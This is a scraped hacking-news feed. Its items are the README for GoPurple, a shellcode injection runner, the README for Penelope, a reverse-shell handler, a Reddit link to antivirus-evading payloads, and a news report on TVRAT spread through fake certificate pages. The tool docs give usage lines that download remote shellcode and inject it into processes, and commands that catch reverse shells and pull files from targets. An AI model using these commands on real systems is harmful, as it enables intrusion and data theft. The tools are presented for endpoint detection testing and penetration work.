Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsGoPurple : Yet Another Shellcode Runner Consists Of Different Techniques For Evaluating Detection Capabilities Of Endpoint Security Solutions
GoPurple is a simple collection of various shell code injection techniques, aiming to streamline the process of endpoint detection evaluation, beside challenging myself to get into Golang world.
Installation
* Requires go installed.
* Build the application from the project’s directory:
_ / | | |
| | _ _ _ _ _ _ _ _ | |
| | |_ |/ _ | ‘_ | | | | ‘| ‘_ | |/ _ \
| || | () | |) | || | | | |) | | /
_____|___/| ./ __,|| | ./||__|
| | | |
|| || by @s3cdev
-a string
Program command line arguments
-b string
block DLL mode (nonms/onlystore for QueueUserAPC )
-p int
Process ID to inject shellcode into
-prog string
program to inject into
-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL hosting the shellcode
Examples
A shellcode needs to be generated,this can be done using tools such as msfvenom or shad0w. Then the shellcode needs to be hosted to be remotely downloaded and executed on the remote machine. For the sake of clarity, the below demos illustrate different ways of using the tool.
* Shellcode injection using BananaPhone method + Shad0w as the shellcode generator
* Shellcode injection using QueueUserAPC technique + Shad0w as the shellcode generator + spoofing the parent ID (explorer as the parent ID) + process launching by spoofed parent that contains the shellcode(calc) + protecting the process from unsigned DLL hook, so only Microsoft signed DLL can hook into the process.
* Shellcode injection using CreateFiber + msfvenom as the shellcode generator
How To Use
1 – gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 – gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 – gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 – gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 – gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 – gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 – gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 – gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 – gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 – gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 – gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = only DLLs that are signed by Microsoft can hook into the process
onlystore = only Microsoft store application’s process can hook into the process
12 – gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 – gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
Download
GoPurple is a simple collection of various shell code injection techniques, aiming to streamline the process of endpoint detection evaluation, beside challenging myself to get into Golang world.
Installation
* Requires go installed.
* Build the application from the project’s directory:
go build. Set GOOS=windows if the build system is not Windows_ / | | |
| | _ _ _ _ _ _ _ _ | |
| | |_ |/ _ | ‘_ | | | | ‘| ‘_ | |/ _ \
| || | () | |) | || | | | |) | | /
_____|___/| ./ __,|| | ./||__|
| | | |
|| || by @s3cdev
-a string
Program command line arguments
-b string
block DLL mode (nonms/onlystore for QueueUserAPC )
-p int
Process ID to inject shellcode into
-prog string
program to inject into
-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL hosting the shellcode
Examples
A shellcode needs to be generated,this can be done using tools such as msfvenom or shad0w. Then the shellcode needs to be hosted to be remotely downloaded and executed on the remote machine. For the sake of clarity, the below demos illustrate different ways of using the tool.
* Shellcode injection using BananaPhone method + Shad0w as the shellcode generator
* Shellcode injection using QueueUserAPC technique + Shad0w as the shellcode generator + spoofing the parent ID (explorer as the parent ID) + process launching by spoofed parent that contains the shellcode(calc) + protecting the process from unsigned DLL hook, so only Microsoft signed DLL can hook into the process.
* Shellcode injection using CreateFiber + msfvenom as the shellcode generator
How To Use
1 – gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 – gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 – gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 – gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 – gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 – gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 – gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 – gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 – gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 – gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 – gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = only DLLs that are signed by Microsoft can hook into the process
onlystore = only Microsoft store application’s process can hook into the process
12 – gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 – gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsPenelope : Shell Handler
Penelope is an advanced shell handler. Its main aim is to replace netcat as shell catcher during exploiting RCE vulnerabilities. It works on Linux and macOS and the only requirement is Python3. It is one script without 3rd party dependencies and hopefully it will stay that way.
Among the main features are:
* Auto-upgrade shells to PTY (auto-resize included)
* Logging interaction with the targets
* Download files from targets
* Upload files to targets
* Upload preset scripts to targets
* Spawn backup shells
* Multiple sessions
* Multiple listeners
* Can be imported by exploits and get shell on the same terminal (see extras)
Penelope can work in conjunction with metasploit exploits by disabling the default handler with
It supports Windows shells but autoupgrade is not implemented yet. However it can accept PTY shells from the excellent project ConPtyShell of @antonioCoco. Autoresize of PTY is implemented.
Sample Basic Usage
penelope.py # Listening for reverse shells on 0.0.0.0:4444
penelope.py 5555 # Listening for reverse shells on 0.0.0.0:5555
penelope.py 5555 -i eth0 # Listening for reverse shells on eth0:5555
penelope.py -c target 3333 # Connect to a bind shell on target:3333
Demonstrating random usage (1)
* Executing penelope without parameters and getting a reverse shell
* Pressing F12 to detach the session and go to the main menu
* Run ‘recon’ command to upload preset privesc scripts to the target
* Interacting again with the session, confirming that scripts are uploaded
* Detaching again with F12 and downloading /etc directory from the target
* Kill the session and exiting with Ctrl-D
Demonstrating random usage (2)
* Adding an extra listener and show all listeners
* Interacting with session 1
* Spawning 2 extra backup sessions
* Showing all sessions
Command Line Options
positional arguments:
PORT Port to listen/connect to depending on -i/-c options. Default: 4444
Reverse or Bind shell?:
-i , –address IP Address or Interface to listen on. Default: 0.0.0.0
-c , –connect Bind shell Host
Hints:
-a, –hints Show sample payloads for reverse shell based on the registered listeners
-l, –interfaces Show the available network interfaces
-h, –help show this help message and exit
Verbosity:
-Q, –silent Show only errors and warnings
-X, –extra-silent Suppress all logging messages
Logging:
-L, –no-log Do not create session log files
-T, –no-timestamps Do not include timestamps on logs
Misc:
-H, –no-history Disable shell history on target
-P, –plain Just land to the menu
-S, –single-session Accommodate only the first created session
-C, –no-attach Disable auto attaching sessions upon creation
-U, –no-upgrade Do not upgrade shells
Debug:
-d, –debug Show debug messages
-NP, –no-python Simulate python absence on target
-NB, –no-bash Simulate bash absence on target
Menu Options
use [sessionID|none]
Select a session
sessions [sessionID]
Show active sessions. When followed by , interact with that
session
interact [sessionID]
Interact with a session
kill [sessionID|all]
Kill a session
download …
Download files and folders from the target
open …
Download files and folders from the target and open them locally
upload …
Upload files and folders to the target. If URL is specified then it is
downloaded locally and then uploaded to the target
recon [sessionID]
Upload preset reconnaissance scripts to the target
spawn [sessionID]
Spawn a new session. Whether it will be reverse or bind, depends on
the current session.
upgrade [sessionID]
Upgrade the session’s shell to “PTY”. If it fails attempts to upgrade
it to “Advanced”. If this fail too, then falls back to “Basic [...]
Penelope is an advanced shell handler. Its main aim is to replace netcat as shell catcher during exploiting RCE vulnerabilities. It works on Linux and macOS and the only requirement is Python3. It is one script without 3rd party dependencies and hopefully it will stay that way.
Among the main features are:
* Auto-upgrade shells to PTY (auto-resize included)
* Logging interaction with the targets
* Download files from targets
* Upload files to targets
* Upload preset scripts to targets
* Spawn backup shells
* Multiple sessions
* Multiple listeners
* Can be imported by exploits and get shell on the same terminal (see extras)
Penelope can work in conjunction with metasploit exploits by disabling the default handler with
set DisablePayloadHandler TrueIt supports Windows shells but autoupgrade is not implemented yet. However it can accept PTY shells from the excellent project ConPtyShell of @antonioCoco. Autoresize of PTY is implemented.
Sample Basic Usage
penelope.py # Listening for reverse shells on 0.0.0.0:4444
penelope.py 5555 # Listening for reverse shells on 0.0.0.0:5555
penelope.py 5555 -i eth0 # Listening for reverse shells on eth0:5555
penelope.py -c target 3333 # Connect to a bind shell on target:3333
Demonstrating random usage (1)
* Executing penelope without parameters and getting a reverse shell
* Pressing F12 to detach the session and go to the main menu
* Run ‘recon’ command to upload preset privesc scripts to the target
* Interacting again with the session, confirming that scripts are uploaded
* Detaching again with F12 and downloading /etc directory from the target
* Kill the session and exiting with Ctrl-D
Demonstrating random usage (2)
* Adding an extra listener and show all listeners
* Interacting with session 1
* Spawning 2 extra backup sessions
* Showing all sessions
Command Line Options
positional arguments:
PORT Port to listen/connect to depending on -i/-c options. Default: 4444
Reverse or Bind shell?:
-i , –address IP Address or Interface to listen on. Default: 0.0.0.0
-c , –connect Bind shell Host
Hints:
-a, –hints Show sample payloads for reverse shell based on the registered listeners
-l, –interfaces Show the available network interfaces
-h, –help show this help message and exit
Verbosity:
-Q, –silent Show only errors and warnings
-X, –extra-silent Suppress all logging messages
Logging:
-L, –no-log Do not create session log files
-T, –no-timestamps Do not include timestamps on logs
Misc:
-H, –no-history Disable shell history on target
-P, –plain Just land to the menu
-S, –single-session Accommodate only the first created session
-C, –no-attach Disable auto attaching sessions upon creation
-U, –no-upgrade Do not upgrade shells
Debug:
-d, –debug Show debug messages
-NP, –no-python Simulate python absence on target
-NB, –no-bash Simulate bash absence on target
Menu Options
use [sessionID|none]
Select a session
sessions [sessionID]
Show active sessions. When followed by , interact with that
session
interact [sessionID]
Interact with a session
kill [sessionID|all]
Kill a session
download …
Download files and folders from the target
open …
Download files and folders from the target and open them locally
upload …
Upload files and folders to the target. If URL is specified then it is
downloaded locally and then uploaded to the target
recon [sessionID]
Upload preset reconnaissance scripts to the target
spawn [sessionID]
Spawn a new session. Whether it will be reverse or bind, depends on
the current session.
upgrade [sessionID]
Upgrade the session’s shell to “PTY”. If it fails attempts to upgrade
it to “Advanced”. If this fail too, then falls back to “Basic [...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux TutorialsPenelope : Shell Handler Penelope is an advanced shell handler. Its main aim is to replace netcat as shell catcher during exploiting RCE vulnerabilities. It works on Linux and macOS and the only requirement is Python3. It is one script…
221; shell.
dir|. [sessionID]
Open the session’s local folder. If no session is selected, opens the
base folder.
listeners [ ]
Add or stop a Listener. When invoked without parameters, it shows the
active Listeners.
connect
Connect to a bind shell
hints
Show sample commands to run on the targets to get reverse shell, based
on the registered listeners
reset
Reset the local terminal
history
Show menu history
help [command]
Show menu help or help about specific command
DEBUG
Open debug console
SET [ ]
Set options. When invoked without parameters it shows current options
exit|quit|q|Ctrl+D
Exit penelope
Download
dir|. [sessionID]
Open the session’s local folder. If no session is selected, opens the
base folder.
listeners [ ]
Add or stop a Listener. When invoked without parameters, it shows the
active Listeners.
connect
Connect to a bind shell
hints
Show sample commands to run on the targets to get reverse shell, based
on the registered listeners
reset
Reset the local terminal
history
Show menu history
help [command]
Show menu help or help about specific command
DEBUG
Open debug console
SET [ ]
Set options. When invoked without parameters it shows current options
exit|quit|q|Ctrl+D
Exit penelope
Download
Surprisingly Quick Way to Evade Antivirus
https://www.reddit.com/r/Pentesting/comments/psf48b/surprisingly_quick_way_to_evade_antivirus/
https://www.reddit.com/r/Pentesting/comments/psf48b/surprisingly_quick_way_to_evade_antivirus/
submitted by /u/entropydaemon3 (https://www.reddit.com/user/entropydaemon3)
[link] (https://github.com/Kleptocratic/Anti-Virus-Evading-Payloads) [comments] (https://www.reddit.com/r/Pentesting/comments/psf48b/surprisingly_quick_way_to_evade_antivirus/)
[link] (https://github.com/Kleptocratic/Anti-Virus-Evading-Payloads) [comments] (https://www.reddit.com/r/Pentesting/comments/psf48b/surprisingly_quick_way_to_evade_antivirus/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Nasıl Hacker Olunur
Konuyla ilgili tüm makaleye buradan ulaşabilirsiniz
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Nasıl Hacker Olunur
Konuyla ilgili tüm makaleye buradan ulaşabilirsiniz
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
İşte O Hackerın Bize Özel Anlattıkları
konuşmanın özetini okumak için buraya tıklayın
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
İşte O Hackerın Bize Özel Anlattıkları
konuşmanın özetini okumak için buraya tıklayın
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Hacked sites push TeamViewer using fake expired certificate alert
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Hacked sites push TeamViewer using fake expired certificate alertPost Views: 159
Reading Time: 1 Minute
Threat actors are compromising Windows IIS servers to add expired certificate notification pages that prompt visitors to download a malicious fake installer.
Internet Information Services (IIS) is Microsoft Windows web server software included with all Windows versions since Windows 2000, XP, and Server 2003.
The message shown on the malicious certificate expiration error pages reads: “Detected a potential security risk and has not extended the transition to [sitename]. Updating a security certificate may allow this connection to succeed. NET::ERR_CERT_OUT_OF_DATE.”
As Malwarebytes Threat Intelligence security researchers observed, the malware installed via a fake update installer [VirusTotal] signed with a Digicert certificate.
https://www.bleepstatic.com/images/news/u/1109292/2021/Malicious%20page%20hosted%20on%20hacked%20IIS%20server.png
<figcaptionMalicious page hosted on hacked IIS server
See Also: Complete Offensive Security and Ethical Hacking Course
The payload dropped on infected systems is TVRAT (aka TVSPY, TeamSpy, TeamViewerENT, or Team Viewer RAT), a malware designed to provides its operators with full remote access to infected hosts.
Once deployed on infected device, the malware will silently install and launch an instance of the TeamViewer remote control software.
After being launched, the TeamViewer server will reach out to a command-and-control (C2) server to let the attackers know they can remotely take complete control of the newly compromised computer.
TVRAT first surfaced in 2013 when it was delivered via spam campaigns as malicious attachments that tricked targets into enabling Office macros.
https://www.bleepstatic.com/images/news/u/1109292/2021/TeamViewerr%20installed%20by%20TVRAT.png
<figcaptionTeamViewer installed by TVRAT IIS servers: vulnerable and targetedWhile the method used by the attackers to compromise IIS servers is not yet known, attackers can use various ways to breach a Windows IIS serverr.
For instance, exploit code targeting a critical wormable vulnerability found in the HTTP Protocol Stack (HTTP.sys) used by the Windows IIS web server has been publicly available since May.
Microsoft patched the security flaw (tracked as CVE-2021-31166) during the May Patch Tuesday and said it only impacts Windows 10 versions 2004/20H2 and Windows Server versions 2004/20H2.
There hasn’t been any malicious activity abusing this flaw in the wild since then and, as we reported at the time, most potential targets were likely safe from attacks given that home users with the latest Windows 10 versions would’ve updated and companies don’t commonly use the latest Window Server versions.
See Also: Windows MSHTML zero-day defenses bypassed as new info emerges I've built a PoC for CVE-2021-31166 the "HTTP Protocol Stack Remote Code Execution Vulnerability": https://t.co/8mqLCByvCp 🔥🔥 pic.twitter.com/yzgUs2CQO5
— Axel Souchet (@0vercl0k) May 16, 2021
However, state-sponsored level threat actors have also leveraged various other exploits to compromise internet-facing IIS servers in the past.
The most recent example is an advanced persistent threat (APT) group tracked as Praying Mantis or TG1021, which targeted Microsoft IIS web servers according to an August report from Israeli security firm Sygnia.
In their attacks, Praying Mantis used a Checkbox Survey RCE Exploit (CVE-2021-27852), a VIEWSTATE Deserialization[...]
Hacked sites push TeamViewer using fake expired certificate alert
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Hacked sites push TeamViewer using fake expired certificate alertPost Views: 159
Reading Time: 1 Minute
Threat actors are compromising Windows IIS servers to add expired certificate notification pages that prompt visitors to download a malicious fake installer.
Internet Information Services (IIS) is Microsoft Windows web server software included with all Windows versions since Windows 2000, XP, and Server 2003.
The message shown on the malicious certificate expiration error pages reads: “Detected a potential security risk and has not extended the transition to [sitename]. Updating a security certificate may allow this connection to succeed. NET::ERR_CERT_OUT_OF_DATE.”
As Malwarebytes Threat Intelligence security researchers observed, the malware installed via a fake update installer [VirusTotal] signed with a Digicert certificate.
https://www.bleepstatic.com/images/news/u/1109292/2021/Malicious%20page%20hosted%20on%20hacked%20IIS%20server.png
<figcaptionMalicious page hosted on hacked IIS server
See Also: Complete Offensive Security and Ethical Hacking Course
The payload dropped on infected systems is TVRAT (aka TVSPY, TeamSpy, TeamViewerENT, or Team Viewer RAT), a malware designed to provides its operators with full remote access to infected hosts.
Once deployed on infected device, the malware will silently install and launch an instance of the TeamViewer remote control software.
After being launched, the TeamViewer server will reach out to a command-and-control (C2) server to let the attackers know they can remotely take complete control of the newly compromised computer.
TVRAT first surfaced in 2013 when it was delivered via spam campaigns as malicious attachments that tricked targets into enabling Office macros.
https://www.bleepstatic.com/images/news/u/1109292/2021/TeamViewerr%20installed%20by%20TVRAT.png
<figcaptionTeamViewer installed by TVRAT IIS servers: vulnerable and targetedWhile the method used by the attackers to compromise IIS servers is not yet known, attackers can use various ways to breach a Windows IIS serverr.
For instance, exploit code targeting a critical wormable vulnerability found in the HTTP Protocol Stack (HTTP.sys) used by the Windows IIS web server has been publicly available since May.
Microsoft patched the security flaw (tracked as CVE-2021-31166) during the May Patch Tuesday and said it only impacts Windows 10 versions 2004/20H2 and Windows Server versions 2004/20H2.
There hasn’t been any malicious activity abusing this flaw in the wild since then and, as we reported at the time, most potential targets were likely safe from attacks given that home users with the latest Windows 10 versions would’ve updated and companies don’t commonly use the latest Window Server versions.
See Also: Windows MSHTML zero-day defenses bypassed as new info emerges I've built a PoC for CVE-2021-31166 the "HTTP Protocol Stack Remote Code Execution Vulnerability": https://t.co/8mqLCByvCp 🔥🔥 pic.twitter.com/yzgUs2CQO5
— Axel Souchet (@0vercl0k) May 16, 2021
However, state-sponsored level threat actors have also leveraged various other exploits to compromise internet-facing IIS servers in the past.
The most recent example is an advanced persistent threat (APT) group tracked as Praying Mantis or TG1021, which targeted Microsoft IIS web servers according to an August report from Israeli security firm Sygnia.
In their attacks, Praying Mantis used a Checkbox Survey RCE Exploit (CVE-2021-27852), a VIEWSTATE Deserialization[...]
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Hacked sites push TeamViewer using fake expired certificate alert https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Hacked sites push TeamViewer using fake expired certificate alertPost Views:…
and Altserialization Insecure Deserialization exploits, and a Telerik-UI Exploit (CVE-2019-18935, CVE-2017-11317).
See Also: Offensive Security Tool: SniperPhish “The operators behind the activity targeted Windows internet-facing servers, using mostly deserialization attacks, to load a completely volatile, custom malware platform tailored for the Windows IIS environment,” the researchers said.
Praying Mantis actors then used the access the hacked IIS servers provided to conduct additional malicious tasks, including credential harvesting, reconnaissance, and lateral movement on their targets’ networks.
Source: www.bleepingcomputer.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/hackers-waging-living-off-land-attacks-on-azure-showcase_image-7-a-16158-90x90.jpg Azure Zero-Day Flaws Highlight Lurking Supply-Chain Risk1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Anonymous-90x90.png Anonymous leaks gigabytes of data from alt-right web host Epik4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/ezgif.com-gif-maker-90x90.jpg New malware uses Windows Subsystem for Linux for stealthy attacks4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Google-Chrome-Browser-90x90.jpg Pair of Google Chrome Zero-Day Bugs Actively Exploited5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/banner-2021.3-release-90x90.jpg Kali Linux 2021.3 released: Kali NetHunter on a smartwatch, wider OpenSSL compatibility, new tools6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-exploit-90x90.jpg Microsoft Patches Actively Exploited Windows Zero-Day Bug6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Apple-marketing-communications-mix-90x90.jpg Apple Issues Emergency Fix for NSO Zero-Click Zero Day1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/zeroday-90x90.png Windows MSHTML zero-day exploits shared on hacking forums1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png Windows MSHTML zero-day defenses bypassed as new info emerges2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Malware-90x90.jpg Microsoft shares temp fix for ongoing Office 365 zero-day attacks2 weeks ago
The post Hacked sites push TeamViewer using fake expired certificate alert first appeared on Black Hat Ethical Hacking.
See Also: Offensive Security Tool: SniperPhish “The operators behind the activity targeted Windows internet-facing servers, using mostly deserialization attacks, to load a completely volatile, custom malware platform tailored for the Windows IIS environment,” the researchers said.
Praying Mantis actors then used the access the hacked IIS servers provided to conduct additional malicious tasks, including credential harvesting, reconnaissance, and lateral movement on their targets’ networks.
Source: www.bleepingcomputer.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/hackers-waging-living-off-land-attacks-on-azure-showcase_image-7-a-16158-90x90.jpg Azure Zero-Day Flaws Highlight Lurking Supply-Chain Risk1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Anonymous-90x90.png Anonymous leaks gigabytes of data from alt-right web host Epik4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/ezgif.com-gif-maker-90x90.jpg New malware uses Windows Subsystem for Linux for stealthy attacks4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Google-Chrome-Browser-90x90.jpg Pair of Google Chrome Zero-Day Bugs Actively Exploited5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/banner-2021.3-release-90x90.jpg Kali Linux 2021.3 released: Kali NetHunter on a smartwatch, wider OpenSSL compatibility, new tools6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-exploit-90x90.jpg Microsoft Patches Actively Exploited Windows Zero-Day Bug6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Apple-marketing-communications-mix-90x90.jpg Apple Issues Emergency Fix for NSO Zero-Click Zero Day1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/zeroday-90x90.png Windows MSHTML zero-day exploits shared on hacking forums1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png Windows MSHTML zero-day defenses bypassed as new info emerges2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Malware-90x90.jpg Microsoft shares temp fix for ongoing Office 365 zero-day attacks2 weeks ago
The post Hacked sites push TeamViewer using fake expired certificate alert first appeared on Black Hat Ethical Hacking.